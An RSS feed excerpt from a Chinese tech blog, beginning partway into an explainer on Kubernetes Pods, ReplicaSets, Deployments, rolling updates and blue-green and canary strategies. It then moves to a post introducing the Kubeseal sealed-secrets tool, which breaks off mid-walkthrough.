&lt;p&gt;例如 Pod 中的容器能够通过 &lt;code&gt;localhost&lt;/code&gt; 互相通信。在网络视角中，这些容器中的所有进程都是本地的。&lt;/p&gt;

&lt;p&gt;但是我们永远无法创建独立的容器：最相近的操作也只能是创建一个仅包含单一容器的一个 Pod。&lt;/p&gt;

&lt;p&gt;我们想让 Kubernetes 创建 NGINX，完整的台词是：“我要一个 Pod，其中只包含一个容器，这个容器运行的是 nginx 镜像”。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# pod-nginx.yml
# Create it with:
#    kubectl apply -f pod-nginx.yml
apiVersion: v1
kind: Pod
metadata:
  name: web
spec:
  containers:
    - image: nginx
      name: nginx
      ports:
        - containerPort: 80
          name: http
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这就只有一个 Pod，那 ReplicaSet 和 Deployment 是怎么回事？&lt;/p&gt;

&lt;h2 id=&#34;指令和声明&#34;&gt;指令和声明&lt;/h2&gt;

&lt;p&gt;Kubernetes 是一个声明式系统（和指令式系统相对），这就意味着我们无法给它发出命令。我们不能说：“运行这个容器”。我们能做的只能是——描述我们需要的东西，然后等 Kubernetes 根据现有内容，同步为预期内容。&lt;/p&gt;

&lt;p&gt;打个比方，我们可以说：“我要一个 40 英尺高的有黄色门的蓝色容器”，Kubernetes 会为我们查找这种容器，如果找不到，就会创建一个；如果已经有了，但它是绿色红门的，Kubernetes 就会帮我们上色；如果已经有了完全符合要求的容器，因为现有内容和预期内容一致，所以 Kubernetes 什么都不会做。&lt;/p&gt;

&lt;p&gt;回到软件容器的话题，我们可以说：“我想要一个名字叫 &lt;code&gt;web&lt;/code&gt; 的 Pod，其中应该有单独的容器，运行的是 &lt;code&gt;nginx&lt;/code&gt; 镜像”。&lt;/p&gt;

&lt;p&gt;如果这个 Pod 不存在，Kubernetes 会创建出来。如果符合我们要求的 Pod 已经存在，Kubernetes 无需进行任何动作。&lt;/p&gt;

&lt;p&gt;基于这种思路，怎样对 &lt;code&gt;web&lt;/code&gt; 应用进行伸缩，来满足多容器或 Pod 的运行需要呢？&lt;/p&gt;

&lt;h2 id=&#34;replicaset-简化了-pod-的伸缩过程&#34;&gt;ReplicaSet 简化了 Pod 的伸缩过程&lt;/h2&gt;

&lt;p&gt;如果我们只有一个 Pod，我们想要更多的同样的 Pod，我们可能会给 Kubernetes 提出这样的要求：“我们需要一个叫做 &lt;code&gt;web2&lt;/code&gt; 的 Pod，具体要求是：&amp;hellip;”，然后重复之前的 Pod 规范。想要多少 Pod，就重复执行多少次。&lt;/p&gt;

&lt;p&gt;这明显很不方便，我们要自己跟踪所有的 Pod，确保它们都同步了正确的状态，并符合特定的规范。&lt;/p&gt;

&lt;p&gt;Kubernetes 提供了高级一些的抽象来简化这个过程：&lt;code&gt;ReplicaSet&lt;/code&gt;。&lt;code&gt;ReplicaSet&lt;/code&gt; 的对象结构和 Pod 很相似，只不过它还有个副本数量的字段，用于描述我们所需要的符合规范的 Pod 数量。&lt;/p&gt;

&lt;p&gt;有了 &lt;code&gt;ReplicaSet&lt;/code&gt;，我们就可以告诉 Kubernetes：“我需要一个叫做 &lt;code&gt;web&lt;/code&gt; 的 &lt;code&gt;ReplicaSet&lt;/code&gt;，其中包含 3 个 Pod，这些 Pod 符合如下规范：&amp;hellip;&amp;hellip;”，Kubernetes 会根据这个指令来确认，是不是刚好有三个符合规范的 Pod。如果我们从头开始，就会创建这 3 个 Pod。如果已经有了 3 个 Pod，什么事都不会发生——我们的要求和现状一致。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# pod-replicas.yml
apiVersion: apps/v1
kind: ReplicaSet
metadata:
  name: web-replicas
  labels:
    app: web
    tier: frontend
spec:
  replicas: 3
  selector:
    matchLabels:
      tier: frontend
  template:
    metadata:
      labels:
        app: web
        tier: frontend
    spec:
      containers:
      - name: nginx
        image: nginx
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;replicaset-的伸缩和高可用&#34;&gt;ReplicaSet 的伸缩和高可用&lt;/h2&gt;

&lt;p&gt;我们可以修改现存 &lt;code&gt;ReplicaSet&lt;/code&gt; 的副本数量，以此来完成伸缩。Kubernetes 会根据伸缩指令来创建或删除 Pod，让 Pod 数量符合要求。&lt;/p&gt;

&lt;p&gt;高可用方面，因为 Kubernetes 会持续的对集群进行监控，确保无论什么情况下都保有指定数量的运行实例。&lt;/p&gt;

&lt;p&gt;如果节点当机，恰好其中有一个 &lt;code&gt;web&lt;/code&gt; 所属的 Pod，Kubernetes 会另外创建一个 Pod 来替换它。如果节点没有当机，不过是有一段时间无法联系或者没有响应，那么它再次恢复可用之后，就会多出一个 Pod，Kubernetes 会中止一个 Pod 来保证数量符合要求。&lt;/p&gt;

&lt;h2 id=&#34;修改-pod-定义会发生什么&#34;&gt;修改 Pod 定义会发生什么&lt;/h2&gt;

&lt;p&gt;修改 Pod 定义并不罕见。比如我们经常会希望把容器镜像替换为新版本。&lt;/p&gt;

&lt;p&gt;记住：&lt;code&gt;ReplicaSet&lt;/code&gt; 的使命是，“确保有 N 个符合规范的 Pod。”如果我们修改了定义，会发生什么呢——突然就没有符合新规范的 Pod 了。&lt;/p&gt;

&lt;p&gt;写到这里，我们已经知道了声明式系统的工作方式：Kubernetes 会立刻创建 N 个符合新规范的 Pod。旧的 Pod 会一致存在，直到我们手工清理。&lt;/p&gt;

&lt;p&gt;如果能用 CI/CD 对这些过期 Pod 做一个自动清理可能不错；如果新 Pod 的创建能用更优雅的方式也会更好。&lt;/p&gt;

&lt;h2 id=&#34;deployment-驱动的-replicaset&#34;&gt;Deployment 驱动的 ReplicaSet&lt;/h2&gt;

&lt;p&gt;前面说的需要就是 &lt;code&gt;Deployment&lt;/code&gt; 的职责。粗看上去，&lt;code&gt;Deployment&lt;/code&gt; 的规范和 &lt;code&gt;ReplicaSet&lt;/code&gt; 很像：其中包含了 Pod 规范，以及副本数量。（还有一些后面会讨论的参数）&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# deployment-nginx.yml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: web
spec:
  selector:
    matchLabels:
      app: nginx
  replicas: 3
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.7.9
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;Deployment&lt;/code&gt; 并不会直接负责 Pod 的创建和删除。它会把这些工作委托给一个或多个 &lt;code&gt;ReplicaSet&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;在我们创建 &lt;code&gt;Deployment&lt;/code&gt; 的时候，它会用自己的 Pod 规范创建一个 &lt;code&gt;ReplicaSet&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;当更新一个 &lt;code&gt;Deployment&lt;/code&gt; 并修改副本数量时，它会把更新内容传递给下游的 &lt;code&gt;ReplicaSet&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;当配置发生了变化&#34;&gt;当配置发生了变化&lt;/h2&gt;

&lt;p&gt;需要更新 Pod 规范的时候，事情就有意思了。例如我们可能需要使用新版本的镜像（因为我们发布了新的版本），或者修改应用的参数（通过命令行参数、环境变量或者配置文件）。&lt;/p&gt;

&lt;p&gt;在我们更新 Pod 规范时，&lt;code&gt;Deployment&lt;/code&gt; 会用新的 Pod 规范创建&lt;strong&gt;新的&lt;/strong&gt; &lt;code&gt;ReplicaSet&lt;/code&gt;。新的 &lt;code&gt;ReplicaSet&lt;/code&gt; 的初始实例数量是 0。接下来 &lt;code&gt;ReplicaSet&lt;/code&gt; 的实例数量会逐步提升，同时逐渐减少另一个 &lt;code&gt;ReplicaSet&lt;/code&gt; 的尺寸。&lt;/p&gt;

&lt;p&gt;可以想象一下，面前有个混音台，我们要让新的 &lt;code&gt;ReplicaSet&lt;/code&gt; 淡入，同时把旧的那个淡出。&lt;/p&gt;

&lt;p&gt;整个过程之中，请求被发送给新旧两个 &lt;code&gt;ReplicaSet&lt;/code&gt;，用户不会感觉服务中断。&lt;/p&gt;

&lt;p&gt;全景大致如此，其中还有很多小细节，让整个过程更加健壮。&lt;/p&gt;

&lt;h2 id=&#34;损坏的-deployment-以及就绪检测&#34;&gt;损坏的 &lt;code&gt;Deployment&lt;/code&gt; 以及就绪检测&lt;/h2&gt;

&lt;p&gt;如果我们推出了一个故障版本，因为 Kubernetes 会持续把旧 Pod 替换成新的（故障）版本，它可能会让整个应用坏掉（逐个 Pod）。&lt;/p&gt;

&lt;p&gt;除非我们用上了&lt;strong&gt;就绪检测&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;就绪检测是在容器规范中加入的一个测试过程。他是一个二进制测试，结果只有两个“能行”或者“不行”，这个测试会以指定的间隔被执行（缺省情况下是每 10 秒）。&lt;/p&gt;

&lt;p&gt;Kubernetes 支持三种方式的就绪检测：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在容器内运行一个命令；&lt;/li&gt;
&lt;li&gt;向容器发出一个 HTTP(S) 请求；&lt;/li&gt;
&lt;li&gt;向容器发起一个 TCP 连接。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Kubernetes 会通过测试结果来了解容器及其所处 Pod 是否准备就绪可以接受流量。在我们推出新版本时，Kubernetes 会等到新 Pod 测试得到“就绪”结果之后，才会进入下一步。&lt;/p&gt;

&lt;p&gt;如果一个 Pod 因为就绪检测持续失败，永远无法进入就绪状态，Kubernetes 也不会进入下一步。部署过程会停止，应用会继续使用老版本运行，直到我们解决了问题。&lt;/p&gt;

&lt;p&gt;如果没有就绪检测，那么这个容器成功启动后就会被当成是就绪状态。所以最好能使用就绪检测来保障业务。&lt;/p&gt;

&lt;h2 id=&#34;使用-rollback-来从故障版本中快速恢复&#34;&gt;使用 Rollback 来从故障版本中快速恢复&lt;/h2&gt;

&lt;p&gt;在滚动更新过程中或之后的任何时间，我们都可以告诉 Kubernetes：“我改主意了，请回到这个 Deployment 的前一个版本。”，这个操作会切换新旧 &lt;code&gt;ReplicaSet&lt;/code&gt; 的地位。在这个点开始，会提高旧版 &lt;code&gt;ReplicaSet&lt;/code&gt; 的实例数量到指定数值，同时降低新版的的实例数量。&lt;/p&gt;

&lt;p&gt;一般来说，并不限于新旧两个 &lt;code&gt;ReplicaSet&lt;/code&gt;。归根结底，有一个 &lt;code&gt;ReplicaSet&lt;/code&gt; 被视为“最新”版本，我们可以将这个版本作为目标 &lt;code&gt;ReplicaSet&lt;/code&gt;，所谓目标，就是我们希望运行的，也是 Kubernetes 会逐步拉起的一个版本。同时也可以有任意多个其它版本的 &lt;code&gt;ReplicaSet&lt;/code&gt;，对应旧版本。&lt;/p&gt;

&lt;p&gt;例如我们在运行 10 个副本的版本 1 应用，然后开始推出版本 2。在某个时间点，我们可能有了 7 个版本 1、3 个版本 2 的 Pod 正在运行。如果我们不想等版本 2 完全推出，决定推出版本 3。在版本 3 部署的时候，我们又想回到版本 1。整个过程，Kubernetes 都会根据需要对各个版本的 &lt;code&gt;ReplicaSet&lt;/code&gt; 中的副本数量进行调整。&lt;/p&gt;

&lt;h2 id=&#34;maxsurge-和-maxunavailable&#34;&gt;MaxSurge 和 MaxUnavailable&lt;/h2&gt;

&lt;p&gt;Kubernetes 不一定是一次更新一个 Pod 的。之前我们提到 &lt;code&gt;Deployment&lt;/code&gt; 还有一些额外的参数，这些参数中包括了 &lt;code&gt;MaxSurge&lt;/code&gt; 和 &lt;code&gt;MaxUnavailable&lt;/code&gt;，这两个参数决定了更新过程的速度。&lt;/p&gt;

&lt;p&gt;试想一下，推出新版本过程中的两个策略：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;我们可能对应用的可用性非常谨慎，因此决定在关闭旧版本 Pod 之前，首先要启动新 Pod。只有新 Pod 启动、运行并就绪之后，才终结旧 Pod。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;上这个假设中有个隐含条件就是我们的集群中是有剩余资源的。然而如果我们的集群已经满载，无法负担多余 Pod 的消耗，那么我们自然是希望首先关掉旧的，然后才启动新的。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;MaxSurge&lt;/code&gt; 指出了我们在滚动更新时，可以有多少个额外的 Pod；而 &lt;code&gt;MaxUnavailable&lt;/code&gt; 则代表在滚动更新时，我们可以忍受多少个 Pod 无法提供服务。这两个参数可以是 Pod 数量，也可以是 &lt;code&gt;Deployment&lt;/code&gt; 的实例数量百分比；两个参数都可以设置为 0（但是不能同时为 0）。&lt;/p&gt;

&lt;p&gt;接下来看看这两个参数的常见取值，以及背后的意图。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;MaxUnavailable&lt;/code&gt; 设置为 0 意味着：“在新 Pod 启动并就绪之前，不要关闭任何旧 Pod”。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;MaxSurge&lt;/code&gt; 设置为 100% 的意思是：“立即启动所有新 Pod”，也就是说我们有足够的资源，我们希望尽快完成更新。&lt;/p&gt;

&lt;p&gt;这两个参数的却升值都是 25%，如果我们更新一个 100 Pod 的 &lt;code&gt;Deployment&lt;/code&gt;，会立刻创建 25 个新 Old，同时会关闭 25 个旧 Pod。每次有 Pod 启动就绪，就可以关闭旧 Pod。每次有旧 Pod 完成关闭过程（释放资源），就可以创建另一个新 Pod 了。&lt;/p&gt;

&lt;h2 id=&#34;演示时间&#34;&gt;演示时间&lt;/h2&gt;

&lt;p&gt;可以很方便的观察这些参数的作用。我们不需要编写自己的 YAML、定义就绪检测等东西。&lt;/p&gt;

&lt;p&gt;我们需要做的事情只是，使用一个无效的镜像，例如一个不存在的镜像。这个容器永远无法启动，Kubernetes 也永远无法把它标记为就绪。&lt;/p&gt;

&lt;p&gt;如果你有个 Kubernewtes 集群（Minikube 或者 Docker 桌面版的单结点集群都可以），可以在不同终端运行下面的命令，来看看发生了什么：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl get pods -w
kubectl get replicasets -w
kubectl get deployments -w
kubectl get events -w
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后用下面的命令来创建、伸缩以及更新一个 &lt;code&gt;Deployment&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl run deployment web --image=nginx
kubectl scale deployment web --replicas=10
kubectl set image deployment web nginx=that-image-does-not-exist
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会看到部署过程停顿了，但是还有 80% 的应用容量是可用的。&lt;/p&gt;

&lt;p&gt;如果我们运行 &lt;code&gt;kubectl rollout undo deployment web&lt;/code&gt;，Kubernetes 就会回滚到使用 &lt;code&gt;nginx&lt;/code&gt; 镜像的旧版本。&lt;/p&gt;

&lt;h2 id=&#34;理解选择器和标签&#34;&gt;理解选择器和标签&lt;/h2&gt;

&lt;p&gt;前面我们说过，&lt;code&gt;ReplicaSet&lt;/code&gt; 的任务是确保有 N 个符合规范的 Pod。这其实并不完全。实际上 &lt;code&gt;ReplicaSet&lt;/code&gt; 并不关心 Pod 的规范，它关心的只是标签。&lt;/p&gt;

&lt;p&gt;换句话说，不论 Pod 运行的是 &lt;code&gt;nginx&lt;/code&gt; 还是 &lt;code&gt;redis&lt;/code&gt; 还是什么别的什么东西；所有的关注点都是，它们要有正确的标签。前面的例子中，标签大概是 &lt;code&gt;run=web&lt;/code&gt; 以及 &lt;code&gt;pod-template-hash=xxxyyyzzz&lt;/code&gt; 的形式。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ReplicaSet&lt;/code&gt; 包含了一个 &lt;code&gt;selector&lt;/code&gt; 成员，内容是一个逻辑表达式，功能和 SQL 中的 &lt;code&gt;SELECT&lt;/code&gt; 类似，用来选择符合要求的 Pod。&lt;code&gt;ReplicaSet&lt;/code&gt; 保证 Pod 的数量正确，如有必要，就会新建或者删除 Pod，但是不会修改已经存在的 Pod。&lt;/p&gt;

&lt;p&gt;这样会有个设想：可能可以手工创建带有这些标签的 Pod ，但是却用的不同镜像（或者不同配置），就能骗过 &lt;code&gt;ReplicaSet&lt;/code&gt; 了。&lt;/p&gt;

&lt;p&gt;粗看上去，这可能是个很大的潜在问题。但实际上，我们很难恰巧选择了正确的标签，这是因为标签中包含了根据 Pod 规范运算得出的哈希值。&lt;/p&gt;

&lt;h2 id=&#34;service-负载均衡&#34;&gt;Service 负载均衡&lt;/h2&gt;

&lt;p&gt;选择器还用在 &lt;code&gt;Service&lt;/code&gt; 上，这个对象负责 Kubernetes 的内外部的负载均衡。我们可以给 &lt;code&gt;web&lt;/code&gt; 创建一个 &lt;code&gt;Service&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl expose deployment web --port=80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个服务会有它自己的内部 IP 地址（&lt;code&gt;ClusterIP&lt;/code&gt;），连接到这个地址的 80 端口会被负载均衡到这个 &lt;code&gt;Deployment&lt;/code&gt; 所有 Pod 之中。&lt;/p&gt;

&lt;p&gt;事实上这个连接的负载均衡范围是所有符合 &lt;code&gt;Service&lt;/code&gt; 标签选择器的 Pod 中，例如这里对应的是 &lt;code&gt;run=web&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;在我们编辑 &lt;code&gt;Deployment&lt;/code&gt; 并触发滚动时，就会创建新的 &lt;code&gt;ReplicaSet&lt;/code&gt;。这个 &lt;code&gt;ReplicaSet&lt;/code&gt; 会创建 Pod，新 Pod 标签会包含 &lt;code&gt;run=web&lt;/code&gt;，所以这些 Pod 就会自动的接到流量。&lt;/p&gt;

&lt;p&gt;这表明在滚动更新时，Deployment 不需要因为 Pod 的的启动停止，而去重新配置或者通知负载均衡器。负载均衡器通过 &lt;code&gt;selector&lt;/code&gt; 自动的完成任务。&lt;/p&gt;

&lt;p&gt;如果你好奇就绪检测的内幕：Pod 只有在所有成员容器都通过就绪检测之后才会作为有效的 &lt;code&gt;Endpoint&lt;/code&gt; 被加入服务。换句话说，Pod 只有准备就绪之后才会开始接收流量。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-部署的高级策略&#34;&gt;Kubernetes 部署的高级策略&lt;/h2&gt;

&lt;p&gt;有些事后我们希望在推出新版本时候还有更多的控制。&lt;/p&gt;

&lt;p&gt;两个知名流行技术是蓝绿部署以及金丝雀部署。&lt;/p&gt;

&lt;h3 id=&#34;kubernetes-中的蓝绿部署&#34;&gt;Kubernetes 中的蓝绿部署&lt;/h3&gt;

&lt;p&gt;在蓝绿部署中，我们希望立即把所有流量从旧版本切换到新版本，而不是象之前说的渐进切换。提出这种要求可能有几个原因：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;我们不想混合新旧请求，希望能够尽可能清晰的从旧版本切换到新版本；&lt;/li&gt;
&lt;li&gt;我们正在更新多个组件（例如 Web 前端和 API 后端），不想新版本前端和旧版后端发生联系；&lt;/li&gt;
&lt;li&gt;如果出现问题，我们希望有能力尽快回滚，无需等旧版本容器重启。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在 Kubernetes 中，可以用创建多个 &lt;code&gt;Deployment&lt;/code&gt; 的方式来完成蓝绿部署，通过对 Service 的 &lt;code&gt;Selector&lt;/code&gt; 字段的控制来进行切换。&lt;/p&gt;

&lt;p&gt;下面的命令会创建两个 &lt;code&gt;Deployment&lt;/code&gt;：&lt;code&gt;blue&lt;/code&gt; 和 &lt;code&gt;green&lt;/code&gt;，分别使用 &lt;code&gt;nginx&lt;/code&gt; 和 &lt;code&gt;httpd&lt;/code&gt; 镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl create deployment blue --image=nginx
kubectl create deployment green --image=httpd
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来我们创建一个 &lt;code&gt;Service&lt;/code&gt;，起初不会发送任何流量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl create service clusterip web --tcp=80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后我们更新 &lt;code&gt;web&lt;/code&gt; 服务的选择器：&lt;code&gt;kubectl edit service web&lt;/code&gt;。这个命令会从 Kunernetes API 中抓取服务对象的定义，在文本编辑器中打开。在其中查找：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;selector:
  app: web
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把其中的 &lt;code&gt;web&lt;/code&gt; 替换成 &lt;code&gt;blue&lt;/code&gt; 或者 &lt;code&gt;green&lt;/code&gt; 或者别的什么。保存并退出。&lt;code&gt;kubectl&lt;/code&gt; 会把更新的定义推送给 Kubernetes API，然后 &lt;code&gt;web&lt;/code&gt; 服务现在就会向特定的 &lt;code&gt;Deployment&lt;/code&gt; 发送流量了。&lt;/p&gt;

&lt;p&gt;可以用 &lt;code&gt;kubectl get svc web&lt;/code&gt; 命令获取服务的地址，并使用 &lt;code&gt;curl&lt;/code&gt; 进行访问。&lt;/p&gt;

&lt;p&gt;我们用文本编辑器作出的变更，也可以完全使用命令行来完成，例如 &lt;code&gt;kubectl patch&lt;/code&gt; 命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kubectl patch service web -p &#39;{&amp;quot;spec&amp;quot;: {&amp;quot;selector&amp;quot;: {&amp;quot;app&amp;quot;: &amp;quot;green&amp;quot;}}}&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;蓝绿部署的好处是，流量切换几乎是立刻完成的，推出和回滚都可以很方便的通过更新 &lt;code&gt;Serevice&lt;/code&gt; 定义来完成。&lt;/p&gt;

&lt;h3 id=&#34;用-kubernetes-完成金丝雀部署&#34;&gt;用 Kubernetes 完成金丝雀部署&lt;/h3&gt;

&lt;p&gt;有时我们不想让测试版本影响所有用户，即使是短时间也不行。所以我们可以部分推出新版本。例如我们部署新旧两组实例，1% 的流量发送给新版本。&lt;/p&gt;

&lt;p&gt;接下来我们在新旧版本的监控数据中进行观察。如果情况允许，就可以向前推进；如果延迟、错误率或者其它什么东西看起来有问题，就回滚到旧版本。&lt;/p&gt;

&lt;p&gt;由于 Kubernetes 的标签和选择器的机制，可以很简单的实现这种策略。&lt;/p&gt;

&lt;p&gt;前面的例子中，我们修改了服务的选择器，接下来我们修改一下 Pod 标签。&lt;/p&gt;

&lt;p&gt;例如设置服务的选择器，让它选择带有 &lt;code&gt;status=enabled&lt;/code&gt; 的 Pod，然后给特定的 Pod 打上标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl label pod fronted-aabbccdd-xyz status=enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;也可以一次打上多个标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl label pods -l app=blue,version=v1.5 status=enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;删除标签同样简单：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl label pods -l app=blue,version=v1.4 status-
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;我们看到了一些用于安全部署的技术，其中的一些能够很方便的降低因部署造成的停机时间，这让我们可以在不担心影响用户的情况下提高部署频度。&lt;/p&gt;

&lt;p&gt;有些技术给我们系上安全带，阻止问题版本影响服务。还有些别的服务让我们感觉安心。有点像主机游戏中的保存按钮——在尝试困难操作之前，我们知道如果出了问题，我们还可以回到从前。&lt;/p&gt;

&lt;p&gt;Kubernetes 让开发和运维团队能够使用这些技术来提高部署的安全性。如果部署的危险系数降低，那么就可以更频繁地、渐进地进行部署，并可以更方便的观察变更的后果。&lt;/p&gt;

&lt;p&gt;这一切都会让我们的新特性和修复特性能够更快面世，让我们的应用有更好的可用性。这也是实现容器化和持续交付的重要基础。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Kubeseal</title>
      <link>/post/introduce-kubeseal/</link>
      <pubDate>Wed, 24 Jul 2019 21:25:21 +0800</pubDate>
      <guid>/post/introduce-kubeseal/</guid>
      <description>

&lt;p&gt;今天更新 Homebrew 的时候，眼角余光撇到一个 kube 开头的 Formula：kubeseal，名字还挺酷的，&lt;code&gt;brew home&lt;/code&gt; 看了一下&lt;a href=&#34;https://github.com/bitnami-labs/sealed-secrets&#34; target=&#34;_blank&#34;&gt;项目主页&lt;/a&gt;，还是 &lt;a href=&#34;https://bitnami.com/&#34; target=&#34;_blank&#34;&gt;bitnami&lt;/a&gt; 的作品，就多看了下，发现是一个不明觉厉的工具，本着“来都来了”的乐观精神，写了这一篇不知所云的东西（还发现了个 Issue）。&lt;/p&gt;

&lt;p&gt;（可能也许大概差不多）有一种情况，我们需要用 YAML 的形式生成一个 Secret，但是我们希望 YAML 自身的内容是加密的，以保证传输过程中，Secret 自身的内容不会被截获，但是同时这个 YAML 还能用于生成我们需要的 Secret。&lt;/p&gt;

&lt;p&gt;Kubeseal 就可以解决这个问题，它在安装时，生成一个 TLS Secret，可以用来对 Secret 进行加密，用 CRD 的方式来进行 Secret 保存，把加密的 CRD YAML 提交到集群，Kubeseal 的服务端控制器会根据 CRD 内容进行解密，生成真正的 Secret。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;目前 Kubeseal 版本为 v0.8，安装很方便：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 服务端
$ kubectl apply -f kubectl apply -f https://github.com/bitnami-labs/sealed-secrets/releases/download/v0.8.0/controller.yaml
# 客户端（Homebrew）
$ brew install kubeseal
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装结束后，在 &lt;code&gt;kube-system&lt;/code&gt; 命名空间中，生成了 Kubeseal 的控制器，以及用于加解密的 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get secret,deploy -n kube-system | grep seal
secret/sealed-secrets-controller-token-v4gbx   kubernetes.io/service-account-token   3      6h26m
secret/sealed-secrets-keyb2tvx                 kubernetes.io/tls                     2      6h26m
secret/sealed-secrets-keyhjmbs                 kubernetes.io/tls                     2      21m
deployment.extensions/sealed-secrets-controller   1/1     1            1           6h26m
$ kubectl api-resources| grep seal
sealedsecrets                                    bitnami.com                    true         SealedSecret
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;创建一个-加密-的-secret&#34;&gt;创建一个“加密”的 Secret&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 生成 Secret 的 YAML
$ kubectl create secret generic top-secret \
&amp;gt; --dry-run --from-literal=cloud=grass -o json  &amp;gt; mario.json
# 加密
$ cat mario.json | kubeseal &amp;gt; mario-secret.json
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看新生成的 &lt;code&gt;mario-secret.json&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;kind&amp;quot;: &amp;quot;SealedSecret&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;bitnami.com/v1alpha1&amp;quot;,
  &amp;quot;metadata&amp;quot;: {
    &amp;quot;name&amp;quot;: &amp;quot;top-secret&amp;quot;,
    &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;,
    &amp;quot;creationTimestamp&amp;quot;: null
  },
  &amp;quot;spec&amp;quot;: {
    &amp;quot;template&amp;quot;: {
      &amp;quot;metadata&amp;quot;: {
        &amp;quot;name&amp;quot;: &amp;quot;top-secret&amp;quot;,
        &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;,
        &amp;quot;creationTimestamp&amp;quot;: null
      }
    },
    &amp;quot;encryptedData&amp;quot;: {
      &amp;quot;cloud&amp;quot;: &amp;quot;AgA89tN49OyoDn/19+QF4Qi7w5aq5v71Xvkzu9cA6mzF/QoDInq3xWnPHl6tt93yurZC0WY+XhlLYVHss3nfrkNtdR8+GSQioTiCRiy1oXnWW3ku37eJGbe7sbd3qIm/uoR/Q3Bvg138zhYfApdeI2T1ePfjDGOsqRRhwhYY5RHAJUsbCC1H0+EO/j/Cg/DmAheFbJHgHtVnHz0eEC6JOrFtLr5YpKXEgEnDIyULoj+TtGL5VXpDzDXwf5OZNvKLgOHl80WwmJWDeyjbbE0RGoPW7rcCyOwlMe/ywRaKgJqpgEm0n/v+3Wb87kd5du8cRsFWKc1ObK4UL0Gq4FMDNXI3m1rBFkeq7AEFiyKSkqlMnPQSOslMcq10hfEmUeOqiJE/GejUlvnhyix9zit83LNlzYxgWMRav+b5CI3PbxpFxAN6r+p+wfKmAMLMh7sfGsYbj5i1vvFbztCrFlGy5UzDBV4tz58mAjDUduyHAzSHkSXHTtMo5YFMk/awonpuUIbQVtGdfyLLqQlyvkcOIdCPVFiMSbRkr0ySPFXDilQp61VtY1002bu5kM6y30fKMSBhjY3ZCes6cz8RpytVszCF8fWDcJSDfI6eGBbgKkRNtm4CPRn6QZA5etgPJxry0PyCZCAmnhfcDodeZgy+bPbR4+G1YoxGq3UaTUhsf6R/nT/rvccphnIr/VrSd+/P9XgY4kZPnw==&amp;quot;
    }
  },
  &amp;quot;status&amp;quot;: {

  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把这个文件提交到集群，并查看生成的 Secret：&lt;/p&gt;

